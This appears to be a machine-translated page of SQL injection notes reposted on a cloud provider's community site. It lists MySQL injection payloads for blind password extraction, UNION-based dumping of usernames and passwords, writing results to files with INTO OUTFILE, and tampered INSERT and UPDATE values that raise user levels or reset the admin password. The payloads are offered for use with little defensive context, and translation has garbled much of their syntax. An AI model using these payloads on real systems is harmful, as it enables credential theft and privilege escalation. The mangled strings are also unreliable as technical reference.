Introduction and improvement of MYSQL Injection Technology

Source: Internet
Author: User

The focus of SQL injection is to construct SQL statements. Only SQL statements can be used flexibly to construct the niubi injection string. After completing the course, I wrote some notes and made them ready for use at any time. I hope you have read the following content first.
The basic principle of SQL. The code in the note comes from the network.


=== Basic part ===


This Table query:
Http://www.bkjia.com/injection/user.php? Username = angel and LENGTH (password) = 6
Http://www.bkjia.com/injection/user.php? Username = angel and LEFT (password, 1) = m
 

Union statement:
Http://www.bkjia.com/injection/show.php? Id = 1 union select 1, username, password from user /*
Http://www.bkjia.com/injection/show.php? Id = union select 1, username, password from user /*
 

Export file:
Http://www.bkjia.com/injection/user.php? Username = angel into outfile c:/file.txt
Http://www.bkjia.com/injection/user.php? Username = or 1 = 1 into outfile c:/file.txt
Http://www.bkjia.com/injection/show.php? Id = union select 1, username, password from user into outfile c:/user.txt
 

Insert statement:
Insert INTO 'user' (userid, username, password, homepage, userlevel) VALUES (, $ username, $ password, $ homepage, 1 );
Construct homepage value: http://4ngel.net, 3 ')#
The SQL statement becomes: Insert INTO 'user' (userid, username, password, homepage, userlevel) VALUES (, angel, mypass, http://4ngel.net, 3') #, 1 );
 

Update statement:
First understand this SQL statement
Update user SET password = MD5 ($ password), homepage = $ homepage Where id = $ id
If the SQL statement is modified to the following format, the injection is implemented.

1: Change the homepage value
Http://4ngel.net, userlevel = 3
Then the SQL statement becomes
Update user SET password = mypass, homepage = http://4ngel.net, userlevel = 3 Where id =id id
Userlevel: user level

2: change the password value
Mypass) Where username = admin #
Then the SQL statement becomes
Update user SET password = MD5 (mypass) Where username = admin #), homepage = $ homepage Where id = $ id

3: Change the id value
Or username = admin
Then the SQL statement becomes
Update user SET password = MD5 ($ password), homepage = $ homepage Where id = or username = admin

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.